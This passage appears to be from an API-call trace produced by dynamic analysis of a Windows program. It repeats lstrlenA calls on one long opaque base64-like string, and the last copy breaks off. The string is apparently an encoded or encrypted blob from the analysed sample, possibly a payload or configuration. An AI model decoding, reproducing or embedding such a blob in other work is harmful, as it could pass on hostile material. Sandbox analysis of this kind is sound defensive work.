(lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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